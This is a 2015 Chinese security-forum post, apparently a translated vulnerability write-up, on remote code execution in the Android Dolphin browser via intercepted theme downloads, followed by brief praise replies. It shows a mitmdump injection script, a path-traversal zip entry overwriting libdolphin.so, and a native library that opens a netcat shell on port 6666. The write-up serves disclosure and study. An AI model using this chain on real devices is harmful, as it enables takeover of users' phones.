查看: 19911|回复: 444

安卓海豚浏览器中的远程代码执行

[复制链接]
  • TA的每日心情

    2024-6-27 16:49
  • 签到天数: 916 天

    [LV.10]以坛为家III

    发表于 2015-8-24 12:40:25 | 显示全部楼层 |阅读模式

    概述

    攻击者有能力通过安卓海豚浏览器控制用户的网络通信数据,可以修改下载和应用浏览器新主题的函数。通过利用该函数,攻击者可以写入任意文件,这些文件将会在用户设备中的浏览器环境下变成代码执行。整个攻击唯一需要用户做的只是选择,下载,应用主题。

    截止2015年7月27日,谷歌应用商店数据显示,海豚浏览器已经有1亿的下载量。

    漏洞分析

    安卓版本的海豚浏览器有一个功能就是允许用户通过下载,应用主题来对浏览器进行个性化。当用户选择一个新主题,这个主题会通过HTTP方式进行下载:

    GET http://opsen-static.dolphin-brow ... estore/Red_roof.dwp
    该主题文件将保存到以下位置:

    root@hammerhead:/sdcard/Download # ls  
    Red_roof.dwp
    该文件的后缀名“dwp”仅为海豚浏览器自己定制的后缀名,事实上这个文件是一个简单的zip压缩文件。

    $ file Red_roof.dwp
    Red_roof.dwp: Zip archive data, at least v2.0 to extract
    当我们检测其中内容时,可以发现其中用来应用目标主题的特殊数据:

    unzip -l Red_roof.dwp.orig  
    Archive:  Red_roof.dwp.orig  
      Length     Date   Time    Name
    --------    ----   ----    ----
        18165  12-18-14 09:57   icon.jpg
          237  12-19-14 14:35   theme.config
       131384  12-18-14 09:54   wallpaper.jpg
    --------                   -------
       149786                   3 files
    后来通过对我们选择,下载,应用的主题进行逆向工程处理。发现该功能还可以解压主题文件并应用主题的其他配置。

    漏洞利用

    在利用中第一步即要代理下载通信数据并注入修改主题中,这需要我们在测试设备中配置一个代理,然后写入一个简单的内联脚本用来使用mitmdump

    def request(context, flow):  
        if not flow.request.host == "opsen-static.dolphin-browser.com" \
                or not flow.request.path.endswith(".dwp"):
            return
        # Build response
        #
        response = http.HTTPResponse([1, 1],
                                     200,
                                     "OK",
                                     odict.ODictCaseless([["Content-Type", "application/zip"]]),
                                     "yo!")
        # Inject theme
        #
        try:
            with open("Red_roof.dwp", "r") as f:
                modified = f.read()
                response.content = modified
                response.headers["Content-Length"] = [len(modified)]
                f.close()
        except IOError as e:
            raise e
        # Return response
        #
        flow.reply(response)
    我们还需要利用浏览器主题解压过程。由于这类案例很多,这里我们就不继续详述了。

    第一次验证将修改主题注入到下载响应中,并成功实现对海豚浏览器数据目录写入任意文件。为了获得代码执行权限,接下来我们需要找到一个可以进行覆盖的文件。

    无意间瞄了瞄,发现一个就在文件目录之中的库—— libdolphin.so

    root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd files/  
    root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # ls  
    AppEventsLogger.persistedevents  
    EN  
    icons_cache  
    libdolphin.so  
    name_service  
    splash.on
    这似乎就是上天赐给我们的面包啊,我们可以写入完整的代码执行了。由此我制作了一个相应的payload:

    unzip -l Red_roof.dwp  
    Archive:  Red_roof.dwp  
      Length     Date   Time    Name
    --------    ----   ----    ----
        18165  12-18-14 09:57   icon.jpg
          237  12-19-14 14:35   theme.config
       131384  12-18-14 09:54   wallpaper.jpg
            7  08-21-15 20:26   ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
    --------                   -------
       159142                   4 files
    成功注入这个zip文件之后,从logcat滚动的输出,我发现了一个gem:

    D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318  
    E/dalvikvm( 2573): dlopen("/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so") failed: dlopen failed: "/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so" is too small to be an ELF executable  
    ....
    ...
    .
    root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so  
    foobar
    接着,我们需要创建一个可以用来覆盖原libdolphin.so的库:

    int JNI_OnLoad( JavaVM* vm, void* reserved )  
    {
        system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
    ....
    ..
    .
    }
    使用NDK进行编译,使用的Python脚本是用来创建一个主题payload然后写入库中。

    然后完全删除海豚浏览器并重新进行安装,然后再次进行攻击。验证是否成功拦截并注入我们的主题payload

    10.174.90.159 GET http://opsen-static.dolphin-brow ... estore/Red_roof.dwp  
    << 200 OK 150.16kB
    我们应用这个主题,为了确定已经成功加载,我们重启浏览器:

    D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8  
    D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
    现在我们应该可以连接到netcat:

    └[~]> nc 10.174.90.159 6666
    id  
    uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0  
    ls  
    acct  
    cache  
    charger  
    config  
    d  
    data  
    default.prop  
    dev  
    etc  
    file_contexts  
    firmware  
    fstab.hammerhead  
    init  
    init.environ.rc  
    init.hammerhead.rc  
    init.hammerhead.usb.rc  
    init.rc  
    init.trace.rc  
    init.usb.rc  
    mnt  
    persist  
    proc  
    property_contexts  
    res  
    root  
    sbin  
    sdcard  
    seapp_contexts  
    sepolicy  
    storage  
    sys  
    system  
    tmp-mksh  
    ueventd.hammerhead.rc  
    ueventd.rc  
    vendor
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-8-24 23:15:24 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-8-18 16:06
  • 签到天数: 153 天

    [LV.7]常住居民III

    发表于 2015-8-25 10:18:51 | 显示全部楼层
    不错的,写得还好,
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-25 23:50:52 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-8-26 12:59:39 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-26 13:55:40 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-8-26 14:33:27 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-8-27 06:01:33 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-8-27 14:03:20 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-8-27 19:08:11 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-9-30 15:52 , Processed in 0.038782 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部